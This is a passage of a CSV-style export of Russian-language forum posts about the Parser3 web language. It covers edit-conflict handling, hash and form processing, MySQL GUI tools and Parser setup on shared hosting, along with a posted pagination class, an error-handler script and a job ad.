чтобы браузеры и поисковики хавали."
"59332","и храните его в hidden-поле.\
\
Перед тем, как затереть старую новость другим текстом, снова вычислите md5 и сверьте. Если не совпадают - выведите ошибку [i]\"дорогой Вася, пока ты пыжился и два часа рожал три строчки текста, тебя обошли на повороте. Что теперь делать будем?\"[/i]\
\
Этот вариант небезупречен, но надёжнее всяких lock'ов. В варианте с блокированием новости на время редактирования есть засада - Вася может получить lock, начать писать свою нетленку, а в это время его вместе с остальными жителями района отключит от интенета пьяный бульдозерист, порвавший кабель. Пока кабель не починят и Вася не снимет lock, новость никто отредактировать не сможет."
"59334","Товары в хеше. Хочу посчитать общую стоимость товаров. Почему нельзя так ^eval(^dprices.foreach[key;value]{$dprices.$key.price*$dprices.$key.count}[+])? Подскажите, пожалуйста, как нужно?\
\
[code]\
$dprices[\
	$.148[\
		$.price[100]\
		$.count[1]\
	]\
	$.218[\
		$.price[200]\
		$.count[2]\
	]\
]\
[/code]"
"59335","Может быть записывать хешфайл с номером новости на минут 15? Если хеш есть, то запрещаем другим редактировать."
"59336","результатом перебора хэша является строка (string)\
оператор ^eval( ) ожидает строку кода на парсере (pstring)\
нужно преобразовать строку в строку кода на парсере string => pstring\
\
если хочется посчитать сумму именно через генерирование промежуточного кода, можно сделать следующим образом:\
\
сгенерировать строку математического выражения\
$expression[^dprices.foreach[key;value]{$dprices.$key.price*$dprices.$key.count}[+]]\
\
указать, что ее нужно обработать как строку кода на парсере\
$pcode[^^eval($expression)]\
$result[^process{$pcode}]"
"59337","[code]\
$dSum(0)\
^dprices.foreach[;value]{^dSum.inc($value.price*$value.count)}\
[/code]"
"59338","почитайте журналы сообщений об ошибках. может поможет."
"59339","^process << очень узкоцпециализированный товарищ программиста.\
\
желательно стараться его использовать по минимуму."
"59342","Попробуй поставить в настройках кодировки текста кириллицу (Windows-1251)"
"59345","Не могу придумать...\
\
Есть форма\
<input type=\"text\" name=\"name\" value=\"a1\">\
<input type=\"text\" name=\"value\" value=\"b1\">\
<input type=\"text\" name=\"name\" value=\"a2\">\
<input type=\"text\" name=\"value\" value=\"b2\">\
<input type=\"text\" name=\"name\" value=\"a3\">\
<input type=\"text\" name=\"value\" value=\"b3\">\
\
Соответственно получаю 2 таблицы с полем field:\
\
$name[$form:tables.name] \
^name.menu{$name.field}\
\
и\
\
$value[$form:tables.value] \
^value.menu{$value.field}\
\
А как получить одну таблицу name - value ?\
\
То есть\
name - value\
a1 - b1\
a2 - b2\
a3 - b3"
"59346","Т.к. Front 32 уже запарил. У него невероятные косяки возникают с переносом бази из MySQL 3 в более новые. Плюс, он платный.\
\
[quote]P.S. на mysqlfront.de можно прочитать интересности :)[/quote]\
это все отмазки:\
[quote]\
We did not ask or force them to stop the development or to remove the program from the market completely – this was their very own decision. In fact, we actually encouraged them from the beginning of our discussion to continue the development of the product under a different name.[/quote]\
из: [url=\"http://lenz.homelinux.org/blog/archives/75-Clarification-MySQL-AB-did-not-force-the-removal-of-MySQLFront.html\"]http://lenz.homelinux.org/blog/archives/75-Clarification-MySQL-AB-did-not-force-the-removal-of-MySQLFront.html[/url]"
"59348","и такую таблицу вообще можно будет создать (да, во всех современных броузерах это так, но мало-ли что...)\
\
так что если у вас определенный name в форме связан с определенным value - вам надо это связывание реализовать явно, например: name_1 + value_1; name_2 + value_2; ... + передать на сервер в hidden поле макмимальное значение циферки, и принимать данные например так:\
[code]\
$tData[^table::create{name	value}]\
^for[i](1;^form:max.int(0)){\
	^if(def $form:[name_$i] || def $form:[value_$i]){\
		^tData.append{$form:[name_$i]	$form:[value_$i]}\
	}\
}\
[/code]\
P.S. максимальное значение можно и не передавать, но будет немного сложнее разобрать данные."
"59349","Похоже вы правы, буду делать так. Спасибо."
"59350","Все работает и без \"SET NAMES\". По крайней мере у меня. \"Старый\" MySQL Front 2.5 отказывался работать с MySQL 4 базами, поэтому приходилось держать параллельно MySQL Front 3.2.\
Теперь обойдусь одним.\
\
Замечено:\
- в HeidiSQL есть возможность экспорта данных напрямую в другую базу данных и, даже (по идее), в базу данных на другом хосте. Но работает это только \"по идее\", т.к. как я ни пытался на другой хост залить данные он у меня не смог. Жаль, но если это как-то заработает в будущем - будет очень удобно. Можно будет заливать данные из временной базы напрямую на сервер.\
\
- в MySQL Front 3.2 была очень удобная фича: подключение с использованием другой libMySQL.dll библиотеки или через PHP-тунель (когда, например, на сервере доступ есть только для пользователей @localhost). в HeidiSQL такой фичи нет, а может я ее просто не нашел.\
\
- заявлена поддержка MySQL 5.1\
\
- ели нашел как поменять индест в таблице: раньне для этого можно было выбрать свойства любого поля - сейчас для этого используеться \"отдельная кнопка\"\
\
- появилась функция быстрого поиска/автофильтра.\
\
то что пока заметил."
"59351","Благодарю всех, кто мне помогал включать Parser на хостинге nic.ru.\
\
В результате, техподдержка включила мне Parser. Сделано это было следующим образом:\
\
\
1. В папку с корнем сайта был скопирован .htaccess:\
\
# назначение обработчиком .html страниц:\
AddHandler parsed-html .html\
Action parsed-html /cgi-bin/parser3.cgi\
\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
2. В папку /cgi/ был скопирован файл parser3.cgi из  [url=\"http://www.parser.ru/f/1/download/freebsd/parser3_2_1_freebsd410R_cgi.tar.gz\"]http://www.parser.ru/f/1/download/freebsd/parser3_2_1_freebsd410R_cgi.tar.gz[/url]\
\
\
3. Файлу parser3.cgi были присвоены права: 755\
\
\
4. В админке хостинга был включен модуль поддержки cgi.\
\
\
От себя добавлю, что служба поддержки хостинга сработала очень оперативно, они мне насторили Parser на тест-площадке, а затем я сам настроил его на основном сайте. Не думаю, что они зделали что-то, чего не сделал я, когда сам настраивал Parser на другом адресе.\
\
Всем большое спасибо!"
"59352","[quot]\
Все работает и без \"SET NAMES\". По крайней мере у меня.\
[/quot]\
\
да? и русские буквы показывает? а какие настройки сервера в плане charsets?\
\
\
[quot]\
\"Старый\" MySQL Front 2.5 отказывался работать с MySQL 4 базами\
[/quot]\
\
не отказывался. надо было лишь изменить пароль для подключения, чтобы он был OLD_PASSWORD (поиском находится).\
\
\
[quot]\
в HeidiSQL есть возможность экспорта данных напрямую в другую базу данных...\
[/quot]\
это было ещё в 2.5. там работало, тут в другую БД точно работает, на другой хост - не проверял, т.к. к нему нет доступа из-за ';' :(\
\
\
[quot]\
в MySQL Front 3.2 была очень удобная фича: подключение с использованием другой libMySQL.dll библиотек\
[/quot]\
\
и в чем прикол? зачем?\
\
\
[quot]\
- ели нашел как поменять индест в таблице: раньне для этого можно было выбрать свойства любого поля - сейчас для этого используеться \"отдельная кнопка\"\
[/quot]\
\
по мне так стало лучше. сразу идем в правку индексов (правая кнопка | Manage Indexes...), а не попадаем в окошко с полями, и для перехода к правке индексов ещё надо жмакать соотв. Tab."
"59354","[quote]да? и русские буквы показывает? а какие настройки сервера в плане charsets?[/quote]\
Да показывает. Пробовал в Денвере и Windows MySQL 4. Какие на нем настройки не знаю, т.к. настраивал не я, а доступа нет к нему и не посмотреть.\
[quote]не отказывался. надо было лишь изменить пароль для подключения, чтобы он был OLD_PASSWORD (поиском находится).[/quote]\
Странно. ПОсмотрю. Он что-то выдавал, про неправильные параметры соединения. Попробую.\
[quote]и в чем прикол? зачем?[/quote]\
У меня была как-то ситуация, когда работал с тремя разными базами и пришлось для каждой свою библиотеку ставить. Сути уже не помню, решал проблему методом \"научного тыка\" *-)\
[quote]по мне так стало лучше. сразу идем в правку индексов (правая кнопка | Manage Indexes...), а не попадаем в окошко с полями, и для перехода к правке индексов ещё надо жмакать соотв. Tab.[/quote]\
Согласен. В старом методе изза того, что все в одном иногда были проблемы с переименованием полей (когда они индесные)."
"59355","когда мне изредка нужно перенести данные из одной базы в другую, многое можно сделать, используя\
Microsoft SQL Server/Import and Export Data\
\
но oracle/clob он не может (почему-то).\
\
тогда можно так:\
из MSAccess соединиться с двумя ODBC источниками: «откуда» и «куда», после чего одну таблицу за другой Ctrl+A, Ctrl+Ins, потом в базу «куда», открываем таблицу, Ctrl+A, Shift+Ins.\
копирует/наполняет clob поля на раз."
"59356","при обработке ошибочного запроса, который приходит скрипту от ErrorDocument 404 мне в некоторых случаях нужно просто перенаправить его на нужную страницу. Причем именно через $response:location а не через $response:refresh.\
\
но он почему-то не работает. а почему? :)\
\
при прямом обращении к скрипту и ручной подстановки параметров все работает прекрасно! Но когда на страницу выходят через ErrorDocument 404 - ........."
"59357","Пробовал я Access и какой-то In-Out-Exporter для MySQL, но все как-то коряво. Проще сгенерить SQL-файл и проимпортить его. Кроме того, заодно и Back-up.\
\
P/S/ ...это у меня двиться или их действительно двое? %-\\"
"59360","Ура товарищи :)\
Как сказал мне стаф , что через месяц будет :)"
"59362","Значит не зря я отложил написание плагина к Eclipse. Если для парсера будет такой же функционал как и для явы, то это будет просто фантастическая среда."
"59365","В соответствии с [url=\"http://www.parser.ru/forum/?id=57401\"]приведенным[/url] и используемым в том числе и мной описанием обновил класс [url=\"http://www.parser.ru/examples/mscroller/\"]Scroller[/url]. Изменений в логике нет, пока что в коде используются русские слова («страницы», «дальше» и «назад»), не знаю, надо ли делать эти строки обязательными при инициализации.\
\
[code]\
@CLASS\
Scroller\
\
\
\
# $oScroller[^Scroller::create[\
#	$.iItemsCount()\
#	$.iItemsPerPage()\
#	$.sFormName[page]\
#	$.iDirection(-1/0)\
#	$.iPage($form:page)\
# ]]\
# $oScroller.iItemsCount\
# $oScroller.iLimit\
# $oScroller.iOffset\
# $oScroller.iPageCount\
# $oScroller.iCurrentPage\
# $oScroller.iCurrentPageNumber\
# $oScroller.iCurrentPageName\
# $oScroller.iDirection\
# $oScroller.iFirstPage\
# $oScroller.iLastPage\
# $oScroller.sFormName\
@create[hParams][iIsFullPage]\
$hParams[^hash::create[$hParams]]\
^if(!def $hParams.iItemsCount){\
	^throw[Scroller;Items count must be defined.]\
}\
^if(!^hParams.iItemsPerPage.int(0)){\
	^throw[Scroller;Items per page must be defined and not equal 0.]\
}\
$self.sMode[xml]\
$self.sFormName[^if(def $hParams.sFormName){$hParams.sFormName}{page}]\
^if(!def $hParams.iPage){\
	$hParams.iPage[$form:[$self.sFormName]]\
}\
$self.iItemsCount(^hParams.iItemsCount.int(0))\
$iLimit(^hParams.iItemsPerPage.int(0))\
$iPageCount(^math:ceiling($self.iItemsCount / $iLimit))\
^if(^hParams.iDirection.int(0) < 0){\
	$iCurrentPage(^hParams.iPage.int($iPageCount))\
	^if($iCurrentPage > $iPageCount){\
		$iCurrentPage($iPageCount)\
	}{\
		^if($iCurrentPage < 1){$iCurrentPage(1)}\
	}\
	$iCurrentPageNumber($iPageCount - $iCurrentPage + 1)\
	$iCurrentPageName($iCurrentPageNumber)\
	^if($iPageCount && $iCurrentPage < $iPageCount){\
		$iIsFullPage(^if($self.iItemsCount % $iLimit){1}{0})\
		$iOffset($self.iItemsCount % $iLimit + ($iPageCount - $iCurrentPage - $iIsFullPage) * $iLimit)\
	}{\
		$iOffset(0)\
	}\
	$self.iDirection(-1)\
	$iFirstPage($iPageCount)\
	$iLastPage(1)\
}{\
	$iCurrentPage(^hParams.iPage.int(1))\
	^if($iCurrentPage > $iPageCount){\
		$iCurrentPage($iPageCount)\
	}{\
		^if($iCurrentPage < 1){$iCurrentPage(1)}\
	}\
	$iCurrentPageNumber($iCurrentPage)\
	$iCurrentPageName($iCurrentPage)\
	$self.iDirection(+1)\
	$iFirstPage(1)\
	$iLastPage($iPageCount)\
	^if($iPageCount){\
		$iOffset(($iCurrentPage - 1) * $iLimit)\
	}{\
		$iOffset(0)\
	}\
}\
# end @create[]\
\
\
\
# ^oScroller.print[\
#	$.sMode[html|xml]\
#	$.iItemsCount(5)\
#	$.sSeparator[:]\
#	$.sCanvasTagName[]\
#	$.sCanvasTagAttributes[]\
#	$.sTitle[Страницы: ]\
#	$.sLeftDivider[]\
#	$.sRightDivider[|]\
#	$.sBackTitle[&larr^; Назад]\
#	$.sForwardTitle[Дальше &rarr^;]\
#	$.sTargetURL[./]\
# ]\
@print[hParams][iPageNumber;iItemsCount;iFirstItem;iLastItem;sSeparator;sURLSeparator;sTitle;iCounter;iPage]\
^if($iPageCount > 1){\
	$hParams[^hash::create[$hParams]]\
	^if(!def $hParams.sTargetURL){\
		$hParams.sTargetURL[./]\
	}\
	^if(def $hParams.sMode){\
		$sMode[$hParams.sMode]\
	}\
	$iItemsCount(^hParams.iItemsCount.int(5))\
	$iFirstItem($iCurrentPageNumber - $iItemsCount \\ 2)\
	^if($iFirstItem < 1){\
		$iFirstItem(1)\
	}\
	$iLastItem($iFirstItem + $iItemsCount - 1)\
	^if($iLastItem > $iPageCount){\
		$iLastItem($iPageCount)\
		$iFirstItem($iLastItem - $iItemsCount)\
		^if($iFirstItem < 1){$iFirstItem(1)}\
	}\
	$sSeparator[^if(def $hParams.sSeparator){$hParams.sSeparator}{...}]\
	$sURLSeparator[^if(^hParams.sTargetURL.pos[?]>=0){^taint[&]}{?}]\
	^if(def $hParams.sCanvasTagName){\
		<$hParams.sCanvasTagName $hParams.sCanvasTagAttributes>\
	}\
	$sTitle[^if(def $hParams.sTitle){$hParams.sTitle}{Страницы: }]\
	^if($sMode eq \"html\"){\
		$sTitle\
	}{\
		<title>$sTitle</title>\
		^if(def $hParams.sLeftDivider){<left-divider>$hParams.sLeftDivider</left-divider>}\
		^if(def $hParams.sRightDivider){<right-divider>$hParams.sRightDivider</right-divider>}\
	}\
	^if($iCurrentPage != $iFirstPage){\
		^_printItem[\
			$.sType[back]\
			$.sTitle[^if(def $hParams.sBackTitle){$hParams.sBackTitle}{&larr^; Назад}]\
			$.sURL[$hParams.sTargetURL]\
			$.sURLSeparator[$sURLSeparator]\
			$.iPage(^eval($iCurrentPage - $iDirection))\
		]\
		^if($sMode eq \"html\" && def $hParams.sLeftDivider){$hParams.sLeftDivider}\
	}\
	^if($iFirstItem > 1){\
		^_printItem[\
			$.sType[first]\
			$.sTitle[1]\
			$.sURL[$hParams.sTargetURL]\
			$.sURLSeparator[$sURLSeparator]\
			$.iPage($iFirstPage)\
		]\
		^if($iFirstItem > 2){\
			^_printItem[\
				$.sType[separator]\
				$.sTitle[$sSeparator]\
			]\
		}\
	}\
	^for[iCounter]($iFirstItem;$iLastItem){\
		^if($iDirection < 0){\
			$iPage($iPageCount - $iCounter + 1)\
		}{\
			$iPage($iCounter)\
		}\
		^_printItem[\
			^if($iPage == $iCurrentPage){\
				$.sType[current]\
			}\
			$.sTitle[$iCounter]\
			$.sURL[$hParams.sTargetURL]\
			$.sURLSeparator[$sURLSeparator]\
			$.iPage($iPage)\
		]\
	}\
	^if($iLastItem < $iPageCount){\
		^if($iLastItem < $iPageCount - 1){\
			^_printItem[\
				$.sType[separator]\
				$.sTitle[$sSeparator]\
			]\
		}\
		^_printItem[\
			$.sType[last]\
			$.sTitle[$iPageCount]\
			$.sURL[$hParams.sTargetURL]\
			$.sURLSeparator[$sURLSeparator]\
			$.iPage($iLastPage)\
		]\
	}\
	^if($iCurrentPage != $iLastPage){\
		^if($sMode eq \"html\"){\
			^if(def $hParams.sRightDivider){$hParams.sRightDivider}{|}\
		}\
		^_printItem[\
			$.sType[forward]\
			$.sTitle[^if(def $hParams.sForwardTitle){$hParams.sForwardTitle}{Вперед &rarr^;}]\
			$.sURL[$hParams.sTargetURL]\
			$.sURLSeparator[$sURLSeparator]\
			$.iPage(^eval($iCurrentPage + $iDirection))\
		]\
	}\
	^if(def $hParams.sCanvasTagName){</$hParams.sCanvasTagName>}\
}\
# end @print[]\
\
\
\
@_printItem[hParams]\
$hParams[^hash::create[$hParams]]\
^if($sMode eq \"html\"){\
	^if($hParams.sType eq \"separator\"){\
		$result[$hParams.sTitle]\
	}{\
		^if($hParams.sType ne \"current\" && def $hParams.iPage){\
			$result[<a href=\"^untaint[html]{$hParams.sURL^if($hParams.iPage != $iFirstPage){${hParams.sURLSeparator}$sFormName=$hParams.iPage}}\">$hParams.sTitle</a>]\
		}{\
			$result[$hParams.sTitle]\
		}\
	}\
}{\
	$result[<page\
		^if(def $hParams.sType){ type=\"$hParams.sType\"}\
		^if($hParams.sType ne \"current\" && def $hParams.iPage){\
			href=\"^untaint[xml]{^if(def $hParams.sURL){$hParams.sURL}{./}^if($hParams.iPage != $iFirstPage){${hParams.sURLSeparator}$sFormName=$hParams.iPage}}\"\
		}\
		num=\"$hParams.sTitle\"\
	/>]\
}\
# end @_printItem[]\
[/code]"
"59366","так легко не сгенеришь. я делал, это, доложу, нетривиально.\
ещё у нас графика в blob жила. удалось записать в текстовый   .sql файл, но промучился.\
\
двое ;)"
"59368","[quote]...ещё у нас графика в blob жила. удалось записать в текстовый .sql файл, но промучился.[/quote]C графикой - да, согласен. Тут нужно что-то, помимо текста.\
Я, пока, как-то не рискую хранить картинки в базе. Как-то не привык.\
Все хочу как-нить все в базу запихать:\
- данные;\
- методы Parser;\
- шаблоны\
-... и, может, картинки...\
\
Но пока не придумал как все это обновлять/редактировать.\
\
[quote]\
двое ;)[/quote]\
Забавно. А то я уже подумал, что у меня двоиться...8-)"
"59369","Правда, мне пока сподручнее пользоваться Мишиным класом, т.к. он не привязан к языку."
"59370","В новой редакции так же можно передать параметры. Я сказал про привязанность к языку только потому, что в новом стандарте кода, описанным Мишей было сказано, что все классы должны быть независимы от языка, а в старом классе были указаны значения по-умолчанию на русском языке. Я так и оставил ;)"
"59371","Кликаем мышкой по ссылке и выполняется определенный код."
"59372","[code]$iIsFullPage(^if($self.iItemsCount % $iLimit){1}{0})[/code]\
->\
[code]$bIsFullPage($self.iItemsCount % $iLimit)[/code]"
"59373","Но на следующей строке с этой переменной идет работа как с числом:\
\
[code]\
$iOffset($self.iItemsCount % $iLimit + ($iPageCount - $iCurrentPage - $iIsFullPage) * $iLimit)\
[/code]\
\
Решил, что так, как есть красивее, чем:\
\
[code]\
$iOffset($self.iItemsCount % $iLimit + ($iPageCount - $iCurrentPage ^if($bIsFullPage){- 1}) * $iLimit)\
[/code]"
"59374","Можно с перезагрузкой страницы, если передать на сервер какой-то флаг.\
\
[code]\
<a href=\"./?flag=1\">Выполнить</a>\
^if(^form:flag.int(0)){\
	^rem{ *** Ваш код *** }\
}\
[/code]\
\
Выполнить код сразу же [b]нельзя[/b]:\
http://www.parser.ru/forum/?id=58985"
"59375","Спасибо, это подходит."
"59377","главное не (^if(...){1}{0})."
"59379","А приведите, пожалста, пример, когда необходимо использование переменной [code]$self[/code]?"
"59380","[code]$a[<table>\
<tr><td width=\"180\" nowrap=\"nowrap\">\
	Вариант {next_count}:\
</td></tr></table>]\
$rep[^table::create{from	to\
\"	\\\"\
'	\\'\
\\	\\\\\
^#0D^#0A	\\n\
^#0D	\\n\
^#0A	\\n\
^#FF	\\^#FF\
}]\
# \"\
$a[^a.replace[$rep]]\
document.getElementById(\"container\").innerHTML=\"$a\"[/code]\
Так я пытаюсь проэскейпить код. Ошибка после добавления строчек\
[code]^#0D^#0A	\\n\
^#0D	\\n\
^#0A	\\n[/code]\
Taint использовать не могу, так как код нужно эскейпить по 2-3 раза... :((("
"59382","[code]#Пример: \
@main[]  \
$a[Статическое поле ^$a класса MAIN]\
^test[Параметр метода]\
\
@test[a]  \
^$a - $a  <br>  \
^$self.a - $self.a\
[/code]\
\
А приведите, пожалста, пример, когда [b]необходимо[/b] использование переменной.\
\
Ну то есть данный пример я рассматриваю как небходимость показать наличие ещё одной системной переменной, которую вот так вот можно лихо использовать."
"59383","Зачем использовать $self, когда можно обозвать по-другому. В данном примере.\
\
[code]#Пример2:\
@main[]  \
$a[Статическое поле ^$a класса MAIN]\
^test[Параметр метода]\
\
@test[b]  \
^$b - $b  <br>  \
^$a - $a[/code]"
"59385","Я уже [url=\"http://www.parser.ru/forum/?id=51167\"]публиковал[/url] свой обработчик ошибок. Сейчас немного его доделал. Что он умеет:\
\
1. [i]Подробно[/i] выводить информацию об ошибке, если ошибка произошла на локальной машине (IP-адреса «127.0.xxx.xxx» и «192.168.xxx.xxx») или же с IP-адреса, содержащегося в таблице tExclusionIP.\
\
2. Отправлять [i]подробное[/i] сообщение об ошибке на адреса электронной почты, указанные в переменной sContactEmail (разделенные запятыми). При этом пользователю подробная информация не выводится, а выводится текст из переменной sReleaseBody.\
\
[i]Подробная информация[/i] включает в себя:\
\
1. URL страницы,\
\
2. referer, откуда пришли,\
\
3. IP-адрес (и forwarded тоже),\
\
4. Если в списке файлов есть классы (файлы, расположенные в $MAIN:CLASS_PATH), то они выводятся бледнее,\
\
5. Если подключен класс [url=\"http://www.parser.ru/forum/?id=55520\"]debug[/url], то выводятся все данные формы.\
\
[b]Использование:[/b] достаточно подключить файл в корневом auto.p ([b]предварительно изменив sContactEmail и $tExclusionIP![/b])\
\
\
[code]\
@USE\
debug.p\
\
\
\
@auto[]\
$MAIN:hUEParams[\
	$.sContactEmail[fant-ik@yandex.ru]\
	$.tExclusionIP[^table::create{addr\
193.238.128.53\
}]\
	$.sReleaseBody[\
		<p>The server encountered an unhandled exception and was unable to complete your request.</p>\
		<p>Please contact the server administrator, $env:SERVER_ADMIN and inform them of the time the error occurred, and anything you might have done that may have caused the error.</p>\
		<p>More information about this error may be available in the Parser error log or in debug version of unhandled_exception.</p>\
	]\
]\
# end @auto[]\
\
\
\
@UEDebug[hException;tStack][tErrorComment;tClassPathColumn;bIsClass]\
$tErrorComment[^table::create{type	body\
parser.compile	Ошибка компиляции кода. Непарная скобка, и т.п.\
parser.runtime	Методу передано неправильное количество параметров или не тех типов, и т.п.\
parser.interrupted	Загрузка страницы прервалась (пользователь остановил загрузку страницы или истекло время ожидания)\
number.zerodivision	Деление или остаток от деления на ноль\
number.format	Преобразование к числу нечисловых данных\
file.missing	файл отсутствует\
file.access	Нет доступа к файлу\
image.format	Файл изображения имеет неправильный формат (возможно, расширение имени не соответствует содержимому, или файл пуст?)\
sql.connect	Сервер баз данных не может быть найден или временно недоступен\
sql.execute	Ошибка исполнения SQL запроса\
xml	Ошибочный XML код или операция\
smtp.connect	SMTP сервер не может быть найден или временно недоступен\
smtp.execute	Ошибка отправки письма по SMTP протоколу\
email.format 	Ошибка в email адресе: адрес пустой или содержит неправильные символы\
email.send	Ошибка запуска почтовой программы\
http.host	Сервер не найден\
http.connect	Сервер найден, но не принимает соединение\
http.response	Сервер найден, соединение принял, но выдал некорректный ответ (нет статуса, заголовка)\
http.status	Cервер выдал ответ со статусом не равным 200 (не успешное выполнение запроса)\
http.timeout	Загрузка документа с HTTP-сервера не завершилась в отведенное для нее время}]\
$response:content-type[\
	$.value[text/html]\
	^if($exception.type eq \"xml\"){\
		$.charset[UTF-8]\
	}{\
		$.charset[$response:charset]\
	}\
]\
<html>\
<head>\
	<title>Необработанная ошибка!</title>\
	<style type=\"text/css\">\
		body {background-color: #FFFFFF; color: #000000; font-family: Tahoma, sans-serif; font-size: 0.8em; padding: 35px 50px;}\
		hr {color: #99D228; width: 15; height: 2px; text-align: left;}\
		pre {font-size: x-small;}\
		i {font-family: Arial, sans-serif}\
		a:link, a:visited {font-weight: normal; color: #0000FF; text-decoration: underline;}\
		a:hover, a:visited:hover {color: #99D228; text-decoration: underline;}\
	</style>\
</head>\
<body bgcolor=\"white\">\
<table border=\"0\">\
<tr><td><b>Необработанная ошибка!</b></td></tr>\
<tr><td bgcolor=\"#99D228\" height=\"3\"></td></tr>\
</table>\
^if($hException.type eq \"xml\"){\
	<pre>$hException.comment</pre>\
}{\
	<i>^untaint[html]{$hException.comment}</i><br />\
}\
^if(def $hException.source){\
	<b>$hException.source</b><br /><br />\
	файл: ^hException.file.match[(.+/)(.+?)^$][]{$match.1<u>$match.2</u>}\
	<span style=\"color: #999\">(строка: $hException.lineno)</span>\
}\
<br /><br /><br />\
^if(def $hException.type){\
	<table border=\"0\" style=\"font-size: 1em\">\
		<tr>\
			<td rowspan=\"2\" valign=\"top\">тип ошибки:</td>\
			<td><u>$hException.type</u></td>\
		</tr>\
		<tr>\
			<td width=\"400\" style=\"color: #999\"><i>^tErrorComment.menu{^if($tErrorComment.type eq $hException.type){$tErrorComment.body}}</i></td>\
		</tr>\
	</table>\
}\
^if($tStack){\
	<hr>\
	^if(def $MAIN:CLASS_PATH && $MAIN:CLASS_PATH is \"table\"){\
		$tClassPathColumn[^MAIN:CLASS_PATH.columns[]]\
	}\
	<i>Остальная цепочка:</i>\
		<ul style=\"list-style-type: square^; margin: 0.5em 2em^; padding: 0\">\
		^tStack.menu{\
			$bIsClass(false)\
			^if(def $MAIN:CLASS_PATH){\
				^if($MAIN:CLASS_PATH is \"table\"){\
					^MAIN:CLASS_PATH.menu{\
						^if(!$bIsClass){\
							$bIsClass(^tStack.file.pos[$MAIN:CLASS_PATH.[$tClassPathColumn.column]] != -1)\
						}\
					}\
				}{\
					$bIsClass(^tStack.file.pos[$MAIN:CLASS_PATH] != -1)\
				}\
			}\
			<li^if($bIsClass){ style=\"list-style-type: circle^; color: #999\"}>\
				<b>@$tStack.name</b>\
				^tStack.file.match[(.+/)(.+?)^$][]{<span style=\"color: ^if($bIsClass){#CCC}{#999}\">$match.1</span><u>$match.2</u>}\
				(строка: $tStack.lineno)\
			</li>\
		}\
	</ul>\
}\
<br /><br /><br />\
<a href=\"http://${env:SERVER_NAME}$request:uri\" target=\"_blank\">http://${env:SERVER_NAME}$request:uri</a>\
($env:REMOTE_ADDR^if(def $env:HTTP_X_FORWARDED_FOR){:$env:HTTP_X_FORWARDED_FOR}^if(def $env:HTTP_REFERER){, $env:HTTP_REFERER})\
^if(def $form:fields){\
	^try{\
		^debug:print[$form:fields]\
	}{\
		$exception.handled(true)\
	}\
}\
</body>\
</html>\
# end @UEDebug[]\
\
\
\
@UERelease[exception;tStack]\
#@fatalError[sTitle;sSubTitle;sBody]\
$response:status(500)\
$response:content-type[\
	$.value[text/html]\
	$.charset[$response:charset]\
]\
<html>\
<head><title>Unhandled Exception</title></head>\
<body>\
<h1>Unhandled Exception</h1>\
$MAIN:hUEParams.sReleaseBody\
^for[i](0;512/8){<!-- -->}\
</body>\
</html>\
# end @UERelease[]\
\
\
\
@unhandled_exception[hException;tStack][bLocalIP]\
^MAIN:hUEParams.tExclusionIP.menu{\
	^if(!def $bLocalIP || !$bLocalIP){\
		$bLocalIP($env:REMOTE_ADDR eq $MAIN:hUEParams.tExclusionIP.addr || (def $env:HTTP_X_FORWARDED_FOR && $env:HTTP_X_FORWARDED_FOR eq $MAIN:hUEParams.tExclusionIP.addr) )\
	}\
}\
^if($hException.type eq \"file.missing\"){\
	$response:location[http://$env:SERVER_NAME/404/]\
}{\
	^if(\
		^env:REMOTE_ADDR.left(6) ne '127.0.'\
		&& ^env:REMOTE_ADDR.left(8) ne \"192.168.\"\
		&& !$bLocalIP\
	){\
		^mail:send[\
			$.from[robot@^env:SERVER_NAME.match[^^(www\\.)?(.+)^$][i]{$match.2}]\
			$.to[$MAIN:hUEParams.sContactEmail]\
			$.subject[${env:SERVER_NAME}: Unhandled Exception]\
			$.html{^UEDebug[$hException;$tStack]}\
			$.charset[$response:charset]\
			$.x-mailer[$env:PARSER_VERSION]\
		]\
		$result[^UERelease[$hException;$tStack]]\
	}{\
		$result[^UEDebug[$hException;$tStack]]\
	}\
}\
# end @unhandled_exception[]\
[/code]"
"59387","UNHANDLED EXCEPTION - ошибка, которая не должна встречаться при нормальной работе сайта. но нет, наши гуру показывают как \"надо делать\" и грузят код, который не должен работать 99% времени и который \"поясняет ошибку\" при работе каждой страницы сайта.\
\
если уж очень хочется написать это по русски и с дополнительными подробностями - напишите отдельный класс, который подключайте _в_случае_возникновения_ошибки_ и им уже делайте все что вам нужно. блин.\
\
P.S. + там где у нас шлются на email сообщения о возникших проблемах, сделана защита от отправке повторных аналогичных ошибках."
"59388","вполне можно.\
у oracle есть автопреобразование hex в тело clob в функциях работы с clob'ами."
"59389","нельзя ли перефразировать немного, чтобы в innerHTML присваивать не литералом, а взяв из другого места?\
\
скажем, выдать в \
[code]\
<div id=\"option1\" style=\"невидимый\">\
-тут ваш код с $iOptionNumber-\
</div>\
\
…\
document.getElementById(\"container\").innerHTML\
=document.getElementById(\"option1\").innerHTML\
[/code]"
"59390","Основываясь по документации. Я не нашел такого способа.\
Т.е. мне как бы из junction нужно увидеть код Парсера.\
\
P.S. Я представляю себе верно, что это нельзя реализовать?"
"59393","Для меня, пока, Oracle звучит как заклинание на древнем языке: круто, но непонятно. Никогда не было возможности поработать. На работу как-то купили Futji-Siemens сервак на Oracle, но наши админы так и не смогли его настроить."
"59394","Безрезультатно:\
\
[code][09/03/2007 13:45:38:421] (ERROR) an error returned initializing protocol \"wrapper\"\
[09/03/2007 13:45:38:421] (ERROR) in init all protocols \"wrapper\" returned an error\
[09/03/2007 13:45:38:421] (EMERGENCY) Error initializing protocols[/code]"
"59395","Придётся гору пребразований делать, чтоб вытянуть из [code]?id=1&name=2&date=aa&namless[/code] это [code]$Date[aa][/code]\
\
А так можно просто [code]$form:date[/code]\
\
Собственно, это пример именно того случая, когда $request:query неоправданно использован, когда есть $form.\
\
А вот с $self я не до конца понимаю просто."
"59396","у людей бывает нормальная задача - обратиться к переменной класса, при наличии переменной метода с таким-же именем. сделайте это без self.\
\
self также используется для указания на класс объекта, что можно использовать при написании кода (например того-же include из доки, к которому я собственно и отсылал). реализуйте его без self.\
\
или обратитесь без self к методу класса, при наличии одноименного оператора.\
\
использовать его не необходимо (как и form), но в случае если мы хотим писать код так, а не иначе (ведь можем мы не хотеть использовать include, а использовать use) - этот инструмент присутствует."
"59398","Требуется программист на фултайм в офис в Москве (м. Алексеевская).\
\
Parser, MySQL, XML/XSL, умение *nix'а - обязательно\
JavaScript, HTML - желательно\
\
Зарплата белая, 1000$ на испытательный срок (2-3 месяца), потом по результатам.\
\
